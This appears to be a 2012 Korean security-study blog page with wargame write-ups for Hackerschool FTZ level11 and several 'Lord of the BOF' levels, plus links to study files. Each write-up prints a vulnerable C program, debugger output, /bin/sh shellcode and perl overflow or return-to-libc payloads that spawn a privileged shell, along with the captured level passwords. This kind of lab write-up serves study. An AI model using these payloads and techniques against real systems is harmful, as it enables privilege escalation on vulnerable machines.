php 기초를 위한 ppt

2012. 5. 13. 19:12 from MyStudy/php,html

php입문

PHP입문.pptx


저작자표시
Posted by john@memory :

webhacking.kr 7번 문제

2012. 5. 13. 15:08

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

webhacking.kr 6번 문제

2012. 5. 11. 20:25

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

webhacking.kr 5번 문제

2012. 5. 11. 20:07

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

History Of BOF

2012. 4. 18. 11:24 from MyStudy


History_of_Buffer_Overflow.pdf




공부용으로 업로드 해두었습니다.


저작자표시

'MyStudy' 카테고리의 다른 글

해킹캠프 미니CTF hama팀 우승!!  (0) 2012.02.20
Posted by john@memory :

Hackerschool FTZ level11

2012. 3. 26. 09:58 from MyStudy/FTZ

Hackerschool FTZ level11

izayoi

 

[level11@localhost level11]$ cat hint

 

#include <stdio.h>

#include <stdlib.h>

 

int main( int argc, char *argv[] )

{

           char str[256];

 

          setreuid( 3092, 3092 );

           strcpy( str, argv[1] );

           printf( str );

}

 

해당 문제는 가장 기본적인 BOF를 다루고 있다. 해당 문제의 컴파일 환경을 보면

 

[level11@localhost level11]$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs

Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --host=i386-redhat-linux

Thread model: posix

gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)

[level11@localhost level11]$ gdb -q attackme

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   %ebp

0x08048471 <main+1>:    mov    %esp,%ebp

0x08048473 <main+3>:    sub    $0x108,%esp

 

3.2.2인 것을 확인할 수 있고 esp를 108을 내리는 걸로 봐서는 8바이트의 더미값이 있다는 것을 확인할 수 있다.

 

공격 페이로드는 다음과 같다.

[str(buffer)] [stp]                   [ret][argc][argv][env]

^ nop*240byte+ shellcode(24byte)  ^&buffer

 

[level11@localhost level11]$ ./attackme `perl -e 'print "\x90"x68,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x175,"\xf8\xfa\xff\xbf"'`

sh-2.05b$ id

uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05b$ my-pass

TERM environment variable not set.

 

Level12 Password is "it is like this".
저작자표시
Posted by john@memory :

해킹캠프 미니CTF hama팀 우승!!

2012. 2. 20. 21:38 from MyStudy


진짜 우리 팀 멤버들에게 정말 감사하다고 전해드리고 싶습니다.

문제의 개략적 백업[2문제는 못했습니다.] 

20120218 hackingcamp.7z

 
추후 문제 있을 경우 삭제하겠습니다

ps.더 좋은 백업 ㅠㅠ

[Hackerschool]_제_5차_해킹캠프 (2).vol1.egg

[Hackerschool]_제_5차_해킹캠프 (2).vol2.egg


저작자표시

'MyStudy' 카테고리의 다른 글

History Of BOF  (0) 2012.04.18
Posted by john@memory :

hackerschool bof 원정대 nightmare -> xavius

2012. 1. 27. 09:28 from MyStudy/BOF원정대
LEVEL19 (nightmare -> xavius) : fgets + destroyers 

이번 문제는 fgets함수와 스택 디스트로이어 있다. 소스를 보자

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include 
#include 
#include 

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

stack도 안되고 rtl, LD_ 등등의 방법이 통하지 않는다.
이때 fgets는 특별한 저장 영역인 0x40015000에 해당 문자열을 저장하게 된다.
하지만 \x00은 null로 인식하므로 \x01로 주소를 맞추고 쉘코드를 실행하면 될 것이다.

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x01\x50\x01\x40"';cat)|./xavius

릱릱릱릱릱릱릱릱릱릱1픐h//shh/bin됥PS됣솻
                                         ?P@

id;my-pass
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
euid = 519
throw me away


저작자표시

'MyStudy > BOF원정대' 카테고리의 다른 글

hackerschool bof 원정대 darkknight-> bugbear  (0) 2012.01.24
hackerschool bof 원정대 bugbear -> giant  (0) 2012.01.19
hackerschool bof 원정대 vampire -> skeleton  (0) 2012.01.19
hackerschool bof 원정대 troll -> vampire  (0) 2012.01.19
hackerschool bof 원정대 orge -> troll  (0) 2012.01.19
Posted by john@memory :

hackerschool bof 원정대 darkknight-> bugbear

2012. 1. 24. 12:44 from MyStudy/BOF원정대
LEVEL13 (darkknight -> bugbear) : RTL1 

드디어 RTL이다 소스를 보자

[darkknight@localhost darkknight]$ cat bugbear.c
#include 
#include 

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

다른 내용은 없고 0xbf(stack영역)을 찹조하면 "스택은 너를 배신했다"라는 메세지를 출력하고 종료한다.
이번에 사용될 기술은 RTL인데 라이브러리 영역에 있는 함수를 호출하고 인자값을 넣고 해당 함수를 실행하는 방법이다.

들어가야될 인자를 생각해보면 system()함수의 주소값, 리턴될 함수의 주소값(굳이 쓸 필요는 없다), system()함수의 인자값 순으로 생각을 하면된다.

그럼 먼저 system()함수의 주소값을 찾아보자. 

[darkknight@localhost .izayoi]$ cat system.c
int main(){
        system("/bin/sh");
}
[darkknight@localhost .izayoi]$ gdb -q system
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /home/darkknight/.izayoi/system

Breakpoint 1, 0x80483cb in main ()
(gdb) print system
$2 = {} 0x40058ae0 <__libc_system>

system()함수의 주소값은 0x40058ae0 임을 확인했다.
system()함수는 "/bin/sh"를 사용해서 프로그램을 실행시킬 것이므로 내부적으로는 "/bin/sh"라는 값이 존재할 것 이다.

[darkknight@localhost .izayoi]$ cat find.c
#include 
int main(int argc, char **argv)
{
long shell=0x40058ae0;
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}
[darkknight@localhost .izayoi]$ ./find
"/bin/sh" is at [ 0x400fbff9 ]
 
"/bin/sh"의 주소값을 찾았다.
이제 공격을 시도해보자.

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "a"x44,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?@aaaa廈@
bash$ id;my-pass
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
euid = 513
new divide

bash$ exit
exit
Segmentation fault

밑에 exit를 친 이유는 중간에 aaaa라는 더미값을 넣었는데 그 값이 되돌아갈 주소로는 올바르지 않으므로 세그멘테이션 폴트가 뜬다. 이때는 돌아갈 주소를 exit()같은 종료하는 함수의 주소를 집어넣게 된다면 올바르게 종료될 것 이다.
저작자표시

'MyStudy > BOF원정대' 카테고리의 다른 글

hackerschool bof 원정대 nightmare -> xavius  (0) 2012.01.27
hackerschool bof 원정대 bugbear -> giant  (0) 2012.01.19
hackerschool bof 원정대 vampire -> skeleton  (0) 2012.01.19
hackerschool bof 원정대 troll -> vampire  (0) 2012.01.19
hackerschool bof 원정대 orge -> troll  (0) 2012.01.19
Posted by john@memory :

hackerschool bof 원정대 bugbear -> giant

2012. 1. 19. 16:06 from MyStudy/BOF원정대
LEVEL14 (bugbear -> giant) : RTL2, only execve

갑자기 10번까지 가다가 14번으로 갔는데 포스팅 순서가 꼬였을것으로 예상된다.(추후 수정예정.)
일단은 이번에도 RTL기법을 이용하는데 이전의 문제와는 다르게 execve를 이용해야된다는 것이다. 소스를 보자

 [bugbear@localhost .izayoi]$ cat giant.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


길지만 ret address가 execve가 아니면 프로그램을 종료하는 것이다.
execve() 함수의 경우에는 인자값을 세개를 받아오게 되는데
execve(프로그램명("/bin/sh"),인자값(argv),환경변수(env))의 형태를 가지고 있다.

들어가야 될 인자를 생각하면
execve의 주소값,
반환될 주소값,
첫번째 인자(프로그램명),
두번째 인자(*argv[0],argv[1]),세번째 인자(null)
이 될 것이다.

일단은 execve(), exit()[프로그램 정상 종료를 위한 주소] 등의 주소값을 알아내 보자

[bugbear@localhost .izayoi]$ gdb -q giant
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/.izayoi/giant

Breakpoint 1, 0x8048566 in main ()
(gdb) print execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) print exit
$2 = {void (int)} 0x400391e0 <exit>


system() 함수에서 /bin/sh를 내부적으로 찾았듯이 이번에도 찾아보자

 [bugbear@localhost .izayoi]$ cat c.c
#include<stdio.h>
int main()
{
long addr = 0x400a9d48;

 while(1)
 {
  if( memcmp((const void *)addr,"/bin/sh",8) == 0 )
  {
   printf("found! : 0x%x\n",addr);
   exit(0);
  }
 addr++;
 }
}
[bugbear@localhost .izayoi]$ make c
cc     c.c   -o c
[bugbear@localhost .izayoi]$ ./c
found! : 0x400fbff9


일부로 execve()함수 내에서 찾아보려고 long addr에서 execve()함수의 주소값을 집어넣었을때도 system()함수에서 구한것과 똑같은 결과가 나왔다.

argv같은 경우에는 파일명과 null이 같이 들어가는 **argv 형태가 되어야 하는데 이것은 "/bin/sh"의 주소값을 프로그램명으로 심볼릭 링크를 걸고 스택의 맨위쪽에서 파일 이름 다음에는 null이 들어가는 것을 이용한다.

argv값 찾기

[bugbear@localhost .izayoi]$ gcc giant.c -o $(echo -en "\xf9\xbf\x0f\x40")
[bugbear@localhost .izayoi]$ gdb -q $(echo -en "\xf9\xbf\x0f\x40")
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/.izayoi/ù¿@

Breakpoint 1, 0x8048566 in main ()
(gdb) x/12s 0xbfffffe0
0xbfffffe0:      ""
0xbfffffe1:      "/home/bugbear/.izayoi/ù¿\017@"
0xbffffffc:      ""
...
(gdb) p/x 0xbfffffe1+strlen("/home/bugbear/.izayoi/")
$1 = 0xbffffff7


/bin/sh의 주소 및 null값을 집어넣을수 있는 주소는 0xbffffff7이다.

마지막으로 환경변수가 들어갈 공간에도 null이 들어가게 되는데
이때는 항상 null이 들어가는(위에서도 이용한)0xbffffffc주소를 이용한다.

추가 위 프로그램에서 컴파일하게 되는데 이때 프로그램 내용이 조금 수정되었었다. 언급을 안해서 추가로 작성해놓는다.

 [bugbear@localhost .izayoi]$ cat giant.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


저부분이 수정되었는데 원문은 /home/giant/assassin인데 /home/bugbear/giant 으로 바꿔주었다.
http://devanix.tistory.com/149 이 블로그를 참고했는데 왜 이렇게 됐는지 조금 더 고민해봐야겠다.

이제 원본 파일에 심볼릭 링크를 걸고 해당 명령을 수행해보도록 하겠다.

[bugbear@localhost bugbear]$ ln -sf giant $(echo -en "\xf9\xbf\x0f\x40")
[bugbear@localhost bugbear]$ ./$(echo -en "\xf9\xbf\x0f\x40") "`perl -e 'print "A"x44,"\x48\x9d\x0a\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$ id;my-pass
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
euid = 514
one step closer


그러하다 여기서 신기했던건 맨날 perl만 썼는데 echo로 명령어를 수행할수 있는게 신기했다.
그리고 리턴되는 값(exit())를 일부로 쉘 exit명령어를 사용할 경우에 정상적으로 종료되게 하려고 넣어둔 것으로 알고 있는데 그냥 아무 값이나 넣어도(ex)aaaa) 그냥 정상적으로 종료되는 것을 확인할 수 있었다..

 [bugbear@localhost bugbear]$ ./$(echo -en "\xf9\xbf\x0f\x40") "`perl -e 'print "A"x44,"\x48\x9d\x0a\x40","aaaa","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$


저작자표시

'MyStudy > BOF원정대' 카테고리의 다른 글

hackerschool bof 원정대 nightmare -> xavius  (0) 2012.01.27
hackerschool bof 원정대 darkknight-> bugbear  (0) 2012.01.24
hackerschool bof 원정대 vampire -> skeleton  (0) 2012.01.19
hackerschool bof 원정대 troll -> vampire  (0) 2012.01.19
hackerschool bof 원정대 orge -> troll  (0) 2012.01.19
Posted by john@memory :

티스토리툴바